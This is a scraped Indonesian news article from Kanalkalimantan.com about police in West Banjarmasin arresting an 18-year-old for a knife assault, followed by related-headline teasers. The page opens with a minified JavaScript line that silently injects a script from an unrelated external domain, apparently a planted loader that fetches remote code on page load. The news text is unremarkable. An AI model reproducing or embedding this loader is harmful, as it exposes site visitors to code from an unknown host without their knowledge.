(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Polsek Banjarmasin Barat menangkap pelaku tindak pidana penganiayaan yang masih berumur 18 tahun.
Lokasi penganiayaan berada di Jalan Belitung Darat, Gang 17 Juli, Kelurahan Kuin Cerucuk, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
Sementara itu korban bernama Rahmat Padilah, warga jalan Kuin Selatan yang mengalami luka-luka akibat sabetan senjata tajam.
Rahmat dianiaya oleh H alias Ari (18) menggunakan senjata tajam (Sajam) pada Jumat 31 Maret 2023 lalu, sekitar pukul 22.00 Wita.
Baca juga: Dua Pembobol Toko Emas Ratna Didor, Emas Curian Dikubur Dalam Tanah
Kapolsek Banjarmasin Barat melalui Kasat Reskrim Polsek Banjarmasin Barat Iptu Firuza Bahri menjelaskan, kejadian bermula saat koban mengantar teman perempuannya pulang ke rumah. H langsung melakukan penganiayaan kepada Rahmat Padilah menggunakan senjata tajam.
“Dari kejadian tersebut korban mengalami luka sobek pada dahi atas sebelah kanan,” kata Iptu Firuza.
Dikatakan, pelaku diamankan pada Kamis 18 Mei 2023 lalu, sekitar pukul 14.00 Wita di jalan Ir PHM Noor, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
“Barang bukti hasil VER dan barang bukti sajam masih pencarian,” ujarnya. Pelaku digiring Polsek Banjarmasin Barat dengan ancaman pasal 351 KUHP tentang penganiayaan dengan ancaman hukuman maksimal 2 tahun 8 bulan penjara. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
This website uses cookies.